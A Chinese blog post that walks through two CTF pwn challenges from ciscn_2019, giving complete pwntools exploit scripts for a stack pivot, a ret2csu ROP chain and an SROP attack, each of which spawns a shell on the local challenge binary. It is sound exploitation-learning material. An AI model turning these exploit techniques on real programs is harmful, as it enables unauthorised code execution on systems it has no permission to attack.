记两道最近做的pwn题(ciscn_2019)
这两题为什么要记录呢,一个是我发现网上很多教程没写清楚(也可能是我太菜了),二是细节点很多,不同的大佬方式不太一样,有很多细节需要注意
ciscn_2019_es_2
这题是栈迁移的题,先上exp
1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 leave_ret=0x08048562
6 sys = 0x8048400
7 p=process('./ciscn_2019_es_2')
8 p.recvuntil('What\'s your name?')
9 p.send(0x20*'a'+'b'*8)
10 p.recvuntil('bbbbbbbb')
11 ebp_addr=u32(p.recv(4).ljust(4,'\x00'))
12 print('ebp_addr:',hex(ebp_addr))
13 s_addr=ebp_addr-0x38 # 这个ebp指向的地址是ebp+0x10的位置,然后再减去0x28个(s占的位)
14
15 # 这个payload2要反着拼
16 # s_addr是输入字符串地址,即设置第一次leave的ebp
17 # 第二次leave的ebp地址是aaaa,pop ebp后返回到sys执行shell
18 payload2='a'*4+p32(sys)+p32(0)+p32(ebp_addr-0x28)+"/bin/sh"
19 payload2=payload2.ljust(0x28,'\x00')
20 payload2+=p32(s_addr)+p32(leave_ret)
21
22 p.send(payload2)23 p.interactive()
程序有两次输入点,但是只有0x30个输入,s字符串有0x28个栈地址,所以如果覆盖也只能覆盖ebp和ret地址,无法做到直接getshell
所以第一次输入时先把s栈盖满,泄露出ebp的值
这里要注意,你取到的值是ebp的值,而不是栈的值,而ebp的值等于ebp栈+0x10的栈值(这里坑了我半天),画个图就是:
0xffff00ff | bbbb
ebp 0xffff0100 | 0xffff0010
. | .
. | .
. | .
0xffff0110 | xxxxxxxxx
然后下面这个栈迁移的payload已经说的比较清楚了,主要在于两次leave;ret;或者说mov esp,ebp; pop ebp; ret;
这块动调一下就明白了,不过如果正向去拼的话要有从后往前拼payload的思想,不然就是一脸懵逼
最后总结:此方法虽然懂了,但是payload不太好想得到,在遇到此类题再练习吧
ciscn_2019_s_3
两种解法,都值得学习
解法一:利用通用csu
第一次遇到csu_rop,调试了半天还是挺费劲的,老规矩先上exp
1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 p=process('./ciscn_2019_s_3')
6 elf=ELF('./ciscn_2019_s_3')
7
8 # 解法一:利用通用csu
9 main_addr=elf.symbols['main']
10 rax_59=0x04004E2 # mov rax, 3Bh (10进制59)
11 pop_rdi=0x4005a3
12
13 p.sendline('/bin/sh\x00'*2+p64(main_addr)) # 0x10个字节
14 # /bin/sh 地址 0x7ffe6dc4e990
15 p.recv(0x20)
16 stack_addr=u64(p.recv(8).ljust(8,'\x00'))
17 print('stack_addr',hex(stack_addr))# 0x7ffe6dc4eaa8
18 # 差值 0x138 因为返回的地址是main,main中做了栈帧
19 bash_addr=stack_addr-0x138 #找第二次的输入是0x138
20 print('bash_addr',hex(bash_addr))
21
22 # get_shell
23 pop_rbx_rbp_r12_r13_r14_r15=0x40059A
24 mov_rdx_r13=0x0400580
25 syscall=0x0400517
26 # $rax==59
27 # $rdi==“/bin/sh”
28 # $rsi==0
29 # $rdx==0
30 # syscall
31
32
33 payload2 = '/bin/sh\x00'+'A'*0x8+p64(rax_59)# rax设置为59
34 # 设置各种寄存器,其中r12要注意,因为下面进行的是call r12+0,为了方便就call rax_59,这样就能巧妙的回来了
35 payload2 += p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)+p64(1)+p64(bash_addr+0x10)+p64(0)*3 #这里要注意rbx和rbp
36 # 设置rsi和rdx为0
37 payload2 += p64(mov_rdx_r13)
38 # cmp rbx,rbp 后jnz必须不能被触发,所以又进行了pop_rbx_rbp_r12_r13_r14_r15
39 payload2 += 'a'*0x38 # 7*8=56 6个寄存器,和一个add rsp,8(栈增加了8个) 被填充
40 #设置rdi为/bin/sh
41 payload2 += p64(pop_rdi) + p64(bash_addr)
42 # 触发系统调用
43 payload2 +=p64(syscall)
44
45 p.sendline(payload2)
46 p.interactive()
还是先泄露栈地址,这里有个巨大的深坑!!!你如果返回地址填main就是相差0x138,如果你返回vuln就是0x118,这也是各位大佬payload不同的主要地方
然后就是构造csu_rop的过程了,建议大家边动调边看解释
首先是返回到rax设置为59的位置(这里如果你返回别的,后面的构造会难受),然后pop各种寄存器,就是去初始化各种寄存器
这里也要注意r12的值,因为在csu开头会call [r12](后面那个寄存器被你置零,所以没偏移了),但r12跳转到哪比较好呢?按理说只要ret就行,但是这样各个寄存器的值无法保证不改变,尤其是rax
所以这里巧妙的去call输入地址加0x10的位置,就是你先设置的rax_59
然后再说一下rbx和rbp,必须设置为0和1,顺序不能变。这是因为在后面跳出时要比较他俩,而比较前rbx会加1,这样相等才能跳出循环
0x38个‘a’就是在跳出循环后,其实又一次进行了pop_rbx_rbp_r12_r13_r14_r15和一个add rsp,8; 这样必须把他们覆盖掉,也就是8*7=56个地址
好了,终于把所有的坑排清了,最后就比较简单了,设置rdi为/bin/sh,并触发系统调用
总结:csu虽然说比较通用,但是真的麻烦啊,而且得在前面考虑后面,明显不符合人类思维,难受的一批,但是作为学习此方式的途径也是收获很多
解法二:SROP
参考链接:https://www.freebuf.com/articles/network/87447.html
总体思路就是
# SROP: Sigreturn Oriented Programming ,系统Signal Dispatch之前会将所有寄存器压入栈,
# 然后调用signal handler,signal handler返回时会将栈的内容还原到寄存器。
# 如果事先填充栈,然后直接调用signal handler,那在返回的时候就可以控制寄存器的值。
1 # encoding=utf-8
2 from pwn import *
3
4 context.log_level = 'debug'
5 p=process('./ciscn_2019_s_3')
6 elf=ELF('./ciscn_2019_s_3')
7 context.arch = elf.arch #必要,指定cpu架构
8
9 rt_sigreturn=0x4004DA
10 syscall=0x0400517
11 vuln_addr=0x4004ED
12
13 payload="/bin/sh\x00"+'a'*8+p64(vuln_addr)
14 p.send(payload)
15 p.recv(0x20)
16 stack_addr=u64(p.recv(8).ljust(8,'\x00'))
17 #由于这次返回的是vuln,所以是0x118
18 bash_addr=stack_addr-0x118
19 print("stack_addr:",stack_addr)
20 print("bash_addr:",bash_addr)
21
22 # 设置sigframe关键寄存器
23 sigframe = SigreturnFrame()
24 sigframe.rax = constants.SYS_execve # 59
25 sigframe.rdi = bash_addr
26 sigframe.rsi = 0
27 sigframe.rdx = 0
28 sigframe.rip = syscall
29
30 print('sigframe.rax:',sigframe.rax)
31 # syscall调用rt_sigreturn
32 payload = "/bin/sh\x00/bin/sh\x00" + p64(rt_sigreturn)+p64(syscall)
33 # 设置sigframe返回地址值和各种寄存器
34 payload += str(sigframe)
35
36 p.sendline(payload)
37 p.interactive()
如果大家接触过pushad或pushfd的命令程序应该比较熟悉这种形式
相当于是把寄存器拉到了栈上,而程序如果存在栈溢出,就可以去调用rt_sigreturn这个函数,而这个函数可以随意更改其内寄存器,把寄存器精心构造的话就实现了getshell
pwntools提供了SigreturnFrame(),直接进行结构体的设置为getshell模式
这里也可以看一下constants.SYS_execve,在此架构下就是59
payload就是先同系统调用触发rt_sigreturn,在后面的栈上设置getshell参数和返回地址(当然这里没有设置,因为不需要继续rop下去了)
总结:SROP做着题就很简单了,但是前提得知道,读过论文,学习姿势+1
记两道最近做的pwn题(ciscn_2019)的更多相关文章
- 与高精死杠的几天——记两道简单的高精dp
(同样也是noip往年的题 1.矩阵取数游戏 题目链接[Luogu P1005 矩阵取数游戏] \(\mathcal{SOLUTION}:\) 通过对题目条件的分析,我们可以发现,每一行取数对答案的 ...
- 『ACM C++』Virtual Judge | 两道基础题 - The Architect Omar && Malek and Summer Semester
这几天一直在宿舍跑PY模型,学校的ACM寒假集训我也没去成,来学校的时候已经18号了,突然加进去也就上一天然后排位赛了,没学什么就去打怕是要被虐成渣,今天开学前一天,看到最后有一场大的排位赛,就上去试 ...
- FJOI2020 的两道组合计数题
最近细品了 FJOI2020 的两道计数题,感觉抛开数据范围不清还卡常不谈里面的组合计数技巧还是挺不错的.由于这两道题都基于卡特兰数的拓展,所以我们把它们一并研究掉. 首先是 D1T3 ,先给出简要题 ...
- 两道人数多,课程少,query多的题
#每天进步一点点# 来两道很相似的题目~ (智商啊智商.....) hihoCoder #1236:Scores (简单的分桶法+bitset) 2015 Beijing Online的最后一题.题目 ...
- ACM/ICPC 之 两道dijkstra练习题(ZOJ1053(POJ1122)-ZOJ1053)
两道较为典型的单源最短路径问题,采用dijkstra解法 本来是四道练习题,后来发现后面两道用dijkstra来解的话总觉得有点冗余了,因此暂且分成三篇博客(本篇以及后两篇). ZOJ1053(POJ ...
- 50道经典的JAVA编程题(41-45)
50道经典的JAVA编程题(41-45),苦逼的程序猿,晚上睡不着了编程吧~今天坚持做10道题!发现编程能是我快乐...O(∩_∩)O哈哈~能平静我烦乱的心,剩下5道题留到考试完了再做吧!该睡觉了.. ...
- 50道经典的JAVA编程题(36-40)
50道经典的JAVA编程题(36-40),今天晚上心情压抑,不爽,继续做题,管它明天考试,我继续我的java,一个周末都在看微机原理看得的很头疼啊~明天该挂科就挂吧,不在乎了~~~ [程序36] Ar ...
- 50道经典的JAVA编程题(21-25)
50道经典的JAVA编程题(21-25),明天早上java考试了,还是坚持做题吧...这题比老师的题好多了! [程序21]TestJieCheng.java题目:求1+2!+3!+...+20!的和1 ...
- 50道经典的JAVA编程题 (16-20)
50道经典的JAVA编程题 (16-20),用了快一个下午来做这10道题了,整理博客的时间貌似大于编程的时间啊..哈哈 [程序16]Nine.java 题目:输出9*9口诀. 1.程序分析:分行与列考 ...
随机推荐
- 多表联合查询 - 基于注解SQL
作者:汤圆 个人博客:javalover.cc 前言 背景:Spring Boot + MybatisPlus 用MybatisPlus就是为了不写SQL,用起来方便: 但是如果需要多表联合查询,还是 ...
- ZooKeeper学习笔记三:使用ZooKeeper实现一个简单的配置中心
作者:Grey 原文地址:ZooKeeper学习笔记三:使用ZooKeeper实现一个简单的配置中心 前置知识 完成ZooKeeper集群搭建以及熟悉ZooKeeperAPI基本使用 需求 很多程序往 ...
- Springboot单元测试@RunWith注解
1.RunWith 注解 RunWith 就是一个运行器 可以在单元测试的时候,自动创建spring的应用上下文 2.正确使用 pom.xml <dependency> <group ...
- 情景剧:C/C++中的未定义行为(undefined behavior)
写在前面 本文尝试以情景剧的方式,轻松.直观地解释C/C++中未定义行为(undefined behavior)的概念.设计动机.优缺点等内容1,希望读者能够通过阅读本文,对undefined beh ...
- Xilinx低比特率高品质 ABR 视频实时转码(HPE 参考架构)
Xilinx低比特率高品质 ABR 视频实时转码(HPE 参考架构) 介绍 对实时视频流的需求给视频服务提供商带来了严峻挑战,必须在管理基础设施和互联网带宽运营成本,还要为客户提供高质量体验.鉴于视频 ...
- mybatis学习——映射器(mappers)
在定义 SQL 映射语句之前,我们需要告诉 MyBatis 到哪里去找到这些语句. 在自动查找资源方面,Java 并没有提供一个很好的解决方案,所以最好的办法是直接告诉 MyBatis 到哪里去找映射 ...
- Qt信号槽机制理解
1. 信号和槽概述 > 信号槽是 Qt 框架引以为豪的机制之一.所谓信号槽,实际就是观察者模式(发布-订阅模式).当某个`事件`发生之后,比如,按钮检测到自己被点击了一下,它就会发出一个信号(s ...
- 一、部署监控服务器--安装LNMP环境
1.要求: 本案例要求部署-台Zabbix监控服务器, -台被监控主机,为进一步执行具体的监控任务做准备:1.安装LNMP环境2.源码安装Zabbix3.安装监控端主机,修改基本配置4.初始化Zabb ...
- 记一次项目中解决 -- 并发减库存超卖问题过程(Java)
起因:项目中要做预约功能,首先每天的余票都是有上限的,自然不能出现超卖的情况 基于我们项目是单体分布式的springcloud部署,我想了下 第一种方法,直接mysql加行锁,要update这条库存数 ...
- Telnet查看端口是否通
1. 查看端口是否通畅 telnet IP 端口号 如:telnet 10.150.159.71 5516 2.查看本机是否开启某个端口:netstat -an |findstr "端口 ...